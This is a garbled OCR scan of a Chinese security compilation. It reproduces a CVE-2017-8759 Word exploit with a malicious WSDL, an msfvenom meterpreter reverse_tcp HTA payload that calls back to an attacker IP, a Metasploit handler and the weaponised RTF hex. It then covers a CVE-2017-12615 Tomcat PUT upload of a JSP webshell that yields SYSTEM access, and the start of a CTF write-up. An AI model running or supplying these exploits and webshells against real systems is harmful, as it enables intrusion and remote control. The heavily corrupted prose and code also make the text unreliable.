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http://www.freebuf.com/articles/system/147602.html

1.1.2 JRFFE

A :exploit.txt  test.hta
i web 128 kali  #H1 win7 Word2010

1.1.3 Web M35 585

H5E, M kali #5E —Mimit Web fd5 8%, EH RS KA, python IS4 XA
e, WIEOTME, A ALESCAR, A ftp SEH M S . R

root@jerk: /home/hf @ 0O ¢

NHF(F) fRIS(E) EB(V) HER(GS) L) FENH)
:~4$ sudo su
[sudo] hf B9 EG :
:/home/hf# python -m SimpleHTTPServer 808
Serving HTTP on 0.0.8.0 port 808 ...

SRJGAERENL LT T kali HLASH 808 Ui I TRCR, A1 web 5548 FLVFAI H 2 —FERIRL
Ry ARTTER
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C {r |® 192.168.1.110:308
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Directory listing for /

.bash_history
.bash_logout
.bashrc
Jbashrc.original
.cache/

IC Eauthority
Jdocal/
mozilla/
.msfa/
.presage/
.profile
Ssogouinput/
sqlmap/
ssh/
~viminfo

inputre

exploit.txt
test.hta

T/
HATHZAE Web IRF AP EEW AL —A exploittxt, 53—2 testhta, HIEKET
exploit.txt X, HFRELCT Ho ip bk RIW] .

A - HE| exPlDit-m | #=) HE\ ee®0

<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.0rg/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns@="http://schemas.microsoft.com/clr/nsassem/Logo/Logo"=>
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding> N : o :
<service name="Service"> EHA 1p¥%ﬁ%ﬁﬁ{ﬁlﬂﬁ%llﬁﬁﬁﬁl’ﬂ HwebHR &A%, &8 & g 1p
<port name="Port" binding="tns:Binding">
<soap:address lucation:"http:/C:\Windows\systemBZ\mshta.exe?http:/test.hta"/>
<soap:address location=";
if (system.AppDomain.CurrentDomain.GetData(_url.Split('?')[e]) == null) {
System.Diagnostics.Process.Start(_url.split('?')[1], _url.split('?')[2]);
System.AppDomain.CurrentDomain.SetData( url.split('7')[e], true)ﬂ
Y=

</port>
</service>
</definitions>

HuE v FREEE:8 v 718, 798 v EA

B JEIRAFAE kali 1] Home HX FEIA], wJLGEIEENLYT R FER Hx FAERA . WA
T HETF UGS test.hta BIAT o OCT hta BIAHSGHTR T DLE F 90k, A —N 2 freebuf 1) —
MRESH, REEBRBRTEA . BT

http://www.freebuf.com/sectool/90362.html

‘S‘CE%“]E‘] test.hta & — /N[ PATHIFEST, HAHEIE—1 reverse_tcp % shellcode, X
FEJ7 2T msfvenom iy AR, N IHFITELE S
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sf > msfvenom -p windows/meterpreter/reverse tcp lhost=192.168.1.110 lport=4500 -f hta-psh -o test.hta
[*] exec: msfvenom -p windows/meterpreter/reverse tcp lhost=192.168.1.110 lport=4500 -f hta-psh -o test.ht
a

No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
No Arch selected, selecting Arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes

Final size of hta-psh file: 6556 bytes

Saved as: test.hta

nsf > i

< > | Jozxex =@ a |l = || = JICRER /
. I _— _— _— = = ;{3’
- = & &~ H @9 D
exploit.txt »nt 1RiR MR Bk Xty ?
1) "
B mm T £E

A2 test.hta ELAEHLZAE home H 3 T HI. IXHE Web HLds L7 Z A STt E& 47 1 .
fJa, AEIEE msf T kali B —om DT, S8 L HER Word SCRIERTEL T

msf > use exploit/multi/handler

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp

msf exploit( ) > set LHOST 0.0.0.0

LHOST => 0.0.0.0

msf exploit( ) > set LPORT 4500

LPORT => 4500

msf exploit( ) > show options

Module options (exploit/multi/handler):

Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description
EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 0.0.0.0 yes The listen address
LPORT 4500 yes The listen port
Exploit target:
Id Name

©® Wildcard Target

msf exploit( ) > run

[*] Started reverse TCP handler on 0.0.0.0:4500
[*] Starting the payload handler...

1.1.4 Doc X 4 HHI/E

G, HIE—A rtf SO, HLSERUR BTN word SCRER JE 5347 rtf SCARtAT, JF HAE
word SCRGHHE A — MR Web Blas ESTRIFIN R, I H 8BS0 RN R HE — 2 2
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ma v T - @ |
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EBA Docl.doc 2017/9/28 13:07 DOC i 0 KB
@ S 2 Microsoft Word 97 - 2003 37#&...  2017/9/28 14:01 DOC it 0 KB
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Word 97-2003 & (".doc)
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§88 c323sm.net G4 (HEX)blob.bin |

a@@ea72a:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
a@@ea73a:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
aopee74n:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
6e806750:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
eeeen760:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
a@@ea77a:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
ao@ea7sa:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
aopee79n:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
eeee87ab:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
a@@ea7ea:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
a@@ea7ca:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
ao@ea7pa:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
a0@ea7EA:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
680067F0:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
s@@eagea:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
a@@eag18:| FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
a00ee820:| 81 80 86 B2 89 60 60 60 61 60 68 60 68 68 660 68
A000083A:| 90 90 B0 B0 B0 00 60 68 8C O1 688 688 C7 BO AB EC
60006840:| 19 7F D2 11 97 8E B8 60 FB 75 7E 2A 60 68 88 66 =
A@EABO85A:| 70 81 86 8O 77 B8 73 60 64 68 6C 68 3D 68 68 A8 p---w.s.d.1.=_h.

90000868:| 74 08 74 00 78 80 3A 08 2F 08 2F 80 31 08 39 080 | t.t.p.:././.1.9.

00080876:| 32 08 2E 00 31 00 36 00 38 80 2E 0 31 08 2E 08 | 2...1.6.8...1... 50 I 1R AT 40
00000880:| 31 00 31 00 30 DO 3A 00 38 00 30 VO 38 00 2F 60 | 1.1.0.:.8.0.8./. = .

00000890:| 55 0B 78 00 70 B0 5C 0O 6F 00 69 8O 74 08 2E 00 | e.x.p.l.o.i.t... BiF—ikE

aBABE8AA:| 74 B8 78 B8 74 EE 8@ B0 B8 68 68 68 68 68 A8 @8
000008EA:| B0 B0 00 B0 00 00 60 60 68 6O 68 6O 60 60 60 66
000BO8CA:| B0 B0 B0 B0 B0 B0 60 60 6P 6O 68 GO 68 68 660 68
6000068DO:| B0 OO 60 OO OB 6P OO OO 69 OO 60 OO 6O B8 BB 6O
OO0OOBEG:| B0 OO 60 6O OB 6P OO OO 69 OO 60 OO 6O B8 BB 6O
000008FA:| 00 00 00 00 00 00 60 60 68 G0 GO G0 G0 G0 60 66
00060696008 0 B0 00 B0 00 00 60 60 68 6O 68 GO 60 60 60 66
00086910 90 80 90 B0 90 B0 60 60 69 6O 68 GO 68 68 660 68
66006920:| B0 OO0 60 60 OB 6P OO OO0 69 OO 60 OO 6O B8 BB 6O
60006930:| B0 OO0 60 60 OB 6P OO OO0 69 OO 60 OO 6O B8 BB 66O
00000940 00 00 00 00 00 00 60 60 68 G0 GO GO GO G0 60 60
000688950 90 80 90 B0 90 B0 60 6O 68 6O 68 GO 68 68 660 66

Bz G, ik, ¥ 0UEHEX &3, SR w254 T FFNIA HEA LF IR rtf SO, R
R I T AT B B 1SS TE \object Al\objautlink 2 [E] i1 I objupdate, #&J5¥ objdata —E
FH\result} 8] FEHE 435025 40 sBAT TN A S ) HEX £idiE

{\object\objupdate\objautlink\rsltpict\objwd321\objh4321{\*\objclass htmlfile}{\*\objdata 81050000020000000B0AAEEAE2BAEAES3E2231000000E000000000R00AAB0REDACF11]
16010602660166000000000000 36@BOGSF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFF]
p FFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
Mj&@é@ﬁ #ﬁm-_{_&ﬁr ‘FFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
“FFFFFFFFFFFFFFFFFFFFFFFFFrrrrrrrerrrerrrrrrrrrrrrrrrrrrerrrerereer FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEER
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEER
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
FFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFS2006F 006F 00740020004 5006E
20060066006E0AEEE000000000600060006E0060000800000 £08C0006000000060466000000000000006000660]
2206006000660081604F B06CA0650060A0600060000200000 £008002060000000600860008A00201F FFFFFFFFF]
£208000009800000RAA000BPEA000DEAA0N0DPEA00000ROCOINS abjdata = }}E\E@E\mﬂﬁﬁ?‘[ﬁ] STt 4Rk 000200200020AC0000ROEC000BAEO0000PRE00000]
00000AORAEPAE00PO00RAREORARF FFFFFFFFFFFFFFFFFF 000000000000000000800000000000000000000000
©880000OAEE0HECEREE0APEEABOAABOEBEEROBEBREEBBRRA. - - - - - ...l lllllilliollloiiiiiiiiiiiiiiis FFFFO00000aA00080000000000AR00AEE0RE000000Y
©000000OAEE0AE0EPPEEAROAAROAARTAREERPE200000003000AA004000000050000000600008007000BOOFEF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEER
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEER
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE100000209000000010000000000000000000000000000
8EB0OOFE757E2AB0000000700100007708730064006C003DAB6EA07400740070003A002F002F003100390032002E003100360038002E0031002E6031 00310030003 A003800300038002F 0065007500704
20740006006600660000006000000060086000800600000006000600080060000000600A6080800ARANAAANGAAARCEAAAARARIARANAAARGEAAEEEEAR600AB0AAEEABE00000000006000600060006004
2000000000000ARE0R00000000000080280000800000000000080000ER008000000000000008000 19000002000000000000000000A000A000000000000000
00000A0RAEAEE00PE00RORA0RAAOEE00REE0APO00000AROAA00REE0PRO00000AD0RA000EE00 1900000200000000000000AR0A000E000000000000000
0000OARORABEOAF F F FFFFFo0ae0eAAR0RAEEREEEARO0A0AAARBOAAEERAEORROF FF FFFF FOABERAE0D
2000000OAEE0AE0EPPEEAROAAROAAREAREERPEEAROEARORAROAAEERREEARPEARERABEOAEEEAREARPORBERABEORBRRREERR} | \result {\rtlch\fesl \af31507 \ltrch\fcs@ \insrsid9375599
{\pict{\*\picprop\shplid1@25{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFLipH}{\sv 8}}

Bt 2 m BRI AT EL T, RE R A SO R — T e U doc ST RIT], R34
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— R GEEBAIT Word R Z KT exploit.ixt FIBEE:, FEH WA T, FERAWIXA
4, THESSEER Ol T EEEE T RERD
http://www.jianshu.com/p/82f09d40d5dd
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1.1.5 XESH#HE

https://zhuanlan.zhihu.com/p/29398365
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1.2CVE-2017-12615 tomcat JIAE I
YEH Jerk

1.2.1 S7ERTHE KIS

KA Z 360 MR L= RN, EANZFRANE, FEAFHASWEW, JFmEgs , X
MR E R R tomeat FEE 5 HINA, XANTRIFMBTRZBRE, (X NREERANEN T EEE
W, B H G P, RFE B readonly BUE AL false. FTRAAN NI AN IR 9 AN 2 FH ok B4R
AESCHER, ATREFSREEBLULER Y, A A, WEAE—M, AEE. NIRRT, TWESE
PR

14 71/ 128 WRHW: 4H 28 H HTE: %Pk


https://zhuanlan.zhihu.com/p/29398365
http://www.10tiao.com/html/665/201709/2650443718/2.html
http://www.10tiao.com/html/291/201709/2651065265/2.html
https://github.com/Lz1y/CVE-2017-8759
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1.2.2 BEIHIE

RKREA :windows server 2003
Tomcat fRAS: 7. 056
MR A 7.0.0 - 7.0.79

1.2.3 B E

B, BEE tomcat IRIE, fEHEEE tomeat IR AT, BT # jdk F AT R4 &  Tomcat 7F windows
BT 3R, e T B MElE. XANMAH T, M EER . BAEEINISRE, toncat 1
IRES R T 2 J5 S v ) R AT IR

= C 1Y | ® 192.168.1.106:8080
I EeE - - - - - - - - =

Home Documentation Configuration Examples

M E R4 Apache Tomcat/7.0.56

™  Recommended Reading:

% Security Considerations HOW-TC
/d\ Manager Application HOW-TO

Clustering/Session Replication H

Developer Quick Start

Tomcat Setup Realms & AAA
First Web Application JDBC DataSources

AManamina Tameoat FPuncirme

7t tomcat 3 H M conf I F 4 E] web. xml L

Cilomcat T.Ulcon:

THE HEE HEW WEE IED EFo
QFE-O -7 | P Dk | & @ X 9| m-
Hitl: @ [ C:\Tomest 7. D\con]

B~ | Jo | 2ER EEEE | B |
[)Catalina itk 2017-9-30 10:35
catalina.policy 13 KB FOLICY Irif 2014-9-26 17:13
catalina. properties 7 KB FPROPERTIES Irit 2014-9-26 17:13
2] context. xnl 2 KB ML IH 2014-9-26 17:13

logging. properties

Ea e

ROPERTIES Jff  2014-9-26 17:13

|2 server. zml TEE MML Ay 2017-9-30 10:35
|| 2] tomeat-users. x 2 KB IML 305 2017-9-30 10:35
i =] web. znl 165 KB ML 3044 2017-9-30 10:39

763X ) LFRATHC B _F XN E Ay B BCE N EHEAS readonly 44, 3 HECE K false, Bl B 58 2 J5i# 1T tomeat
AN NMERIEEJE—F tomeat FLAT AT .

H15 pi/dk 128 HiREH: B 28 H BT ARE: Ak
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{or &3 {577 ¥p_Test (5 win 2003
C:\Tomcat T_.0%confiweb zml — Sublime Text (UNREGISTEEED)

File Edit Selection Find ¥iew Goto Tools PFroject Preferences Help

RAWHEIREE nmap $958 7 — FIRXAMHLEH 8080 i, (HRIFBA KILSCHF PUT 5k, B4R
WATER . BIR nmap FABIZAS PUT T3k, (HAZTSEAT LUERE PUT J7 A8 IR 55 4% LI S0 ft .

FTIF/ANES burpsuite, FCEIFRHEL, MUEARACERELFEEE] burpsuite, 28— GET &K, AFM
N, Bk PUT 365K, BIEERISCHN R —A jsp BI—AJIEARD

QFE -0 - T |.Lsx Dxex |3 X 9| @
itk @) [ c:\Tomeat 7. Dwebapps'ROOT

E=T E  Burp Suite Free Edition v1.7.03 - Temporary Project - - -
() WEE-THF - - -

%] asf-1ogo. png Burp Intruder Repeater Window Help

™) asf-loge-wide. - = =
ﬁ:_b“:f:nw;n; {Target Spider I Scanner I Intruder IRepea{er I Sequencer I Decoder ICUmparer I Extender I Project options I User options | Ale

[®]bemiddle png 1
%] bz-nav. prg o
Go

%] benav—item. pn
[®]be-upper png
= build xml

Cancel <|r Target: http:/l*

i W i eaders ex W eaders ex
%;E‘;E_mzs Ra Head Hex | XML Raw | Head H

"B tomcat. ess PUT /1.3sp/ HTTP/Ll.L

Iy HTTP/1.1 20l Created

B toncat. gif Host: 192.1€B.1.l0E:5080 Server: Apache-Coyote/l1.l1

=] toncat. pag User-Agent: Mozilla/5.0 (VWindows NT £.1; Wing4; x&4) Content-Length: O

8] tancat. sve AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Date: Sat, 30 Sep 2017 05:52:36
: Safari/537.36 Connection: close

(=] toncat-power-gf | conrent-Lentth: 4

Connection: close
Content-Length: 185

EILAWN, AR A
<%
if (request.getParameter ("£") !=null) (n=w
Java.io.FileOutputStream (application. get.P.EslPa:-H’:equEst. .getPar
amster ("E"))) .Write (fequest.getParameter ("L") .getBytes()):

EE
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U A5 B R A3 7 2 B AR AT, WIDT A8 I — N\, (B SR 1, IR R 2 1A iR
B AERXAS jsp, RUFFREGE, 0T N, RERA T T, Mz, — M\ e R, AR
fiet K%ﬂiﬁ%ﬁ%, HHIHHEAE jsp.

RJEERL jsp —RITREERRE P, AT AR AR jspshell, HSEXANE 2 A himl R

testhiml

.get.url.value;get. subm

ream(

application.getRealPath(™\")+r

<f
</
~f
</
</
¢/
</

A ORI R htm] A% A I D SR T T ) DA B AR BRATAE A R S T

L ISP DiEESE
BRSS Uitk htto:/192.166.1.106:8080/. jsp

B page contentlyne="text/himl charset=GEK" %>
<N page inport="javs, io. %>

<%@ page import="java.util.Map"%>

<%@ page import="

%@ page import="java.iutil. regex. *"%>
KB page import="java.sal. ">

%!

privats String _password = *156156":

private String _encodelyps = "UTE-8":

private int _zessiorDutlime = 20:

private Stringl] _textFPilelypes = ["tst", "kta”, "html”, "asp®, “izp", “java", “is", “gss", <", “spp’. sk, “pl7, "gedt,
“php", “corf’, “wml®, "zsl’, "ind", ”szh; “inc"}:

private Cornection _dbComnection = null:

private Statement _cbStatement = mull:

private String _url = rull;

public beplean validate(String password) {
if (password equals (_password)) {
return true; )

{BERUAISEE « [shelljsp fed

Siwf i3

Wif (remiest, zetParanster ("F*) 1=mll) (hew
dara, o, FileOutput Stream ( ("\"J+request, getParameter("f"))) . write (zequest, getParameter ("t"). getBytes () %>

<%
if (request. getParameter (“f”) !=null) (new
java. io. FileOutputStream(application. getRealPath(”\”)+request. getParameter ("f”))).write (requ

t”). getBytes () ;

”,”

est. getParameter ("t
%>
Vi FIRATH shell BHRTOIEMYI, shell AR

17 pi/dk 128 HiREE: B 28 0 mTARE Ak
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<& > C Oy @ 192.168.1.106:8080/shell jsp
HE=) - .- 8.8

2929779977297927 ¥

PN TTNNNNT

22NN
mRNENNNNN

mwmnnnnnn

192.168.1.106
8080
Windows 2003 5.2 x86

PEVITININNIGNIN? ———ly-  SYSTEM
IR . . - )

§27277277 C:\Documents and Settings\Administrator
PITERTTIITIIVIRIIINII? .

23977 C\Tomcat 7.0
murnnNNRNINNn fshelljsp
mnnnnnnnnn Ci\Tomcat 7.0\webapps\ROOT\shell jsp

PIIITINITIININY HTTP/1.1

Apache Tomcat/7.0.56

222922
JDK2°772+27 17079
JDK?°7227°772:2227 CMava\jre?
JAVA?222227222022°772 17

XA shell #E4FF FHRAHLE EA B HGEAD, utf fRIGF gbk dmiLEAIT . (HRA TG & HAT,
B Sk RIS 2T, XA shell BUERIBUR BHELHLZ system AR, So--

1.2.4 SR HEKE

IR IS S JE T AT AL R AL 2 1 T, B REERER, AW, AWTE B4,
BH I E
http://www. freebuf. com/vuls/148283. html
Tomeat JJj SERRAS T i+ :

http://archive. apache. org/dist/tomcat/
FHEIR jsp —R)TGA S FNE 2 b R ARHS -
http://www. cnblogs. com/nightnine/p/5502997. html

1.32017 | R4 EMIAE Web £ fE

REHC.

Mochazz
JARITT 1 CTF, FUMT Web #54r, ¥ FIRA 470, if Web IR AL T, FiF
A4 8. R B AR SR

1.2.1 WP IE3C

H18 mi/dk 128 HiRE W B 28 H BT ARE: Ak
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http://www.cnblogs.com/nightnine/p/5502997.html
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broken x +

€ 9 @ 701bd284ac254a93baf27deed10ff7d2b0d7508f21c447 cc.game.ichunqiu.cc B O Q FE<ar+ke

Hi, a CTFer. You got a file, but it looks like being broken.

RH S T — M URE jsfuck, BE— NERITT, KO RIBURNL REE SRR TS
F| flag. VEEIX LAERACH EHRTIAESEH] G217, KN flag M ELS —MEE T .
701bd284ac254a93baf27dec X +

€ @ 701bd284ac254a93baf27deed10ff7d2b0d75b8f21c447cc.game.ichungiu UEE ¢ Q 5F<Cri+k- W a

OO FOI+C OO T D [+ 0+ 011+ C O+ D=0+ =00+ O+ 0D 01+ 0D D=0+ 0041+ 101 QI+ 0D [+
FON-CO+D =04+ 00+ 0+ 0D [#1+ Q0D D00 0+ 01+ 401D [+ 0000+ 0D D+ [+ 0 0+ [+ 0 [+ 00 -
[0+ 01+ 00D 1+ 0+ D0+ 0+ 01+ 000D 040011 [+ 0+ 0110 0140 [+ 01+ 040D [1+ 0041
[+ 1O TGO 010 01000 [+ 0+ 011+ C O+ D041+ 01+ 0 O+ 1+ 0+ 0D D+ 0404000
[+ [+001+ Cr =000 40D [+ 1+ (0 A1+ 00D [+ + [0+ 0+ 011+ C 0T+ 0D D+ 0140+ [0+ Qo 140D (40114 Qo (14010 D1+ [0+ 04 (1520
D [+ Q0+ 00+ 0+ 0D DO D #0100 11+00 01+ C0 D10 00D 1+ 01+ [+ 0111+ C [T+ 000 [+ 00+
1+ 10D [+ 001D [+ [+ 0+ 00+ O+ (00D CAT0C O+ 0D 140 D1+ 0 00D [+1+ 0+ 111+ 110D [1+01+1+ 11+
[+1+[101+0D) [+0+1+ 00+ 10 =0T 0C D10 [+ 01+ (0 LT+ D LD [+2+ [+ [+ 011+ C O+0D D+ 0+ 11+ O+ 0D [+ 0 L
FON-CO00D [+ + 00+ C O+ 0D D+ 140+ [0+ 1+ =01 T+ 00 0+ 00 0+ 00+CO LI+ 0D [+ 11+ 0 [+ 01 [+011+ ()
M1+ O+ 01+ O+ D041+ 040+ 01 O [#+01140D [0+ 0001+ 040D =01+ 00 00 00+ [+
D1+ O+ 01+ O+ D040+ 04001+ 0 O+ [+01D [+ 0+ 011+ QLD [+ 000D T+ 0+ [+ 0111+ 1 1+ D [
[+ [+ 11+ (L4010 T2+ (114 G+ [D+ 0 (1T CO0+ 0D DCET D [14 000 L+ 00T+ (0 [0+ 0T 001D L0+ (14 L+ 0000+ (o LD+ 0D [+ [0+ + 000+ (o0 [
[+1+[101+ 00 [+ [0+ 0+ 0+ (01 (0 (10T 00 D100 [+ 01+ 0 (1T DD L0 D) [0+ [0+ [+ (111 C [0+ 01D D1+ [+ 0+ (11 C [T+ 0D [+00T+ (0 [
O+ [+1+ 001+ O+ 0D [+ 140+ 0+ 1+ 0 0D T+ 0+ 0D [+ 00+CO T+ D +11+C 0 [+ [+011+ 0
1+ I+ 01+ 0 [0 [+ 0+ 041+ 00+ QU [0+ 01100 D+ 0+ 0+ 00+ C 0D 011+ [+ 0 0C L+ 0D (=000
1+ 10D 01+ C 010 [+ 0+ 01+ 00+ Q0D [0 01D [+ 0+ [+ 0011+ QL1+ 0D [0+ 00010 [+ [+ 0+ [+ [+ 0100 1+ (14
D [+1+01+ GO 1+ O TGO+ 10 O1+0 00D ++0+ 0+ 011+ GO+ D+ 04+ 01+ 1 0O+ D [+ 01+ C O+ D+ 0+ [0+
O+ 1000 [+ 0+1+01+ Q040D #1401+ O DO O TC O+0D =010 110 00D [+1+ 0+ [+ 0011+
(41400404 01+ 040D [+0+ 0111+ 0D [+ 0140+ 00404 01+ Cr OO D0 D401 C+00+ (0 D+ 0D 0 DD T+ [T+ 0+ (0004 C L1400 [r+ 140+
1+ (140D [+1+ 01D [+ [+ 0+ 11+ CO L0+ 0D [0+ 000+ C 140D [+ [1+0+ [0+ 0+ 11+ C (D40 T+1T+ (0 (140 [+ 4010+ (T 00
1=+ QO+ D0+ 01+ D [+O0+ QL O1+0D [+ 0+ 00+ 000+ QO+ 0D [+2+0110+00 D+ 00+ [0+ 000+ 00 [T+
1+ QO+ D0+ 01+ 14D =00+ Q0120 D+ 01+ 00+ 010+ Q1 =00 [+2+0010) [+ + 0+ I+ 0011+ LT 0D0 [+
(0G0 10 0 0D 1+ 0+ 0111+ QO+ D+ 0+ 01+ QO [T+ O+00) D00+ 040+ 001+ QD+
0+ OO0 O+ F1(0 O1+0 00D [+ 0+ 011+ 00D D=0+ 01+ 0 040D =01+ 140D [0 #1041 0]+
O0+00CO+M FO1+0 100D #0011+ 000 D0+ 0000 040D 01+ 000 D000+ 010 1+ D
LI o N e e O L e e e e e N e P L e O B e SR

WANNA DECODE JSFUCK?

;alert('flag is not here'];

25 k. https://enkhee-osiris.github.io/Decoder-JSFuck/

ol
Vi EEEz, ORI IEVI N, IUERIL, role ZH0H A role=Zjo10il0aHImzZyl7
< C 0O http://56e8370dfb9c47bc92e5ecceecfe0232addad1ceddd94042.game.ichungiu.com/

> TalmE - JFMEEE Whaol2d F360Mtt [ &I FRbce O 3608F $FEF0 [links [ Links for [ Microsoft [ MSN [

Sorry. You have no permissions.
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J Haw | Farams | Heaqers | Hex |

GET /index.php HTTPR/1l.1

Host: 5£e8370dfbS9c47bhcY9ielbecceectfelliladdadleedEdS4042 . gawe. ichungiu. com

User—Agent: Mozilla/5.0 (Windows NT E.1; WOWE4; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html, application/xhtml+xml, application/®ml;q=0.5, %/ *:q=0.8
Accept-Language: zh-CMN, zh;q=0.8,en-U3;q=0.5,en;c=0.3

Aoccept-Encoding: gzip, deflate

Cookie: role=ZjolCOid0aHImIvIY

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

L rot13 ‘ Burp Suite Praofessional v1.7.11 - Temporary Project - licensed to Larry_Lau

) Burp Intruder Repeater Window Help

[ Target ]' Proxy ]' Spider ]' Scanner ]' Intruder ]' Repeater ]' Sequencer ]' Decoder T Comparer ]' Extender ]' Project options | User

Zjo10il0aHImZyl7 |

rot13fph4 base64 &Y

| Rot13 5555 | Rot13 #:E'};

v
(;é;; r&ﬂm&ﬂl

MR H R WE? FAEIE? FETATA? Hf s:5"admin”BEAT rot13 N FF base64 JI# A&
EEAEAL, Ll admin S &R T .

& cC|a game.ichungiu.com

Hello admin, now you can upload samething you are easy to forget.

B M IR RS R B 2 POST K 45 i 55 4%

<hitmd >
<head>
<titler</titler
</head>
Chady
Cl—— $filename = § POST[ filename’]; $data = §_ POST[ data’]; —>Hello admin, now you can wpload something vou are easy to forget. <'body>
</html>

008~ DN B L R

HHBEE POST %dt filename=test1.php&data=<?php phpinfo(); ?> KINH 24, 1HZ POST
P& filename=test1.txt&data=<?php phpinfo(); ?>1 P, 1 H4H T4, Al Llyia 3], X B
MNoaZsefi 7R nf DUEN G GRS T file_put_contents()BR %L, T 2AR4E PHP T/
4, BASHOTLREA

20 Ti/3k 128 WRHW: &4H 28 H HTIE: %k
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int file_put_contents ( string $filename , mixed $data [, int $flags = © [, resource $context ]]
)

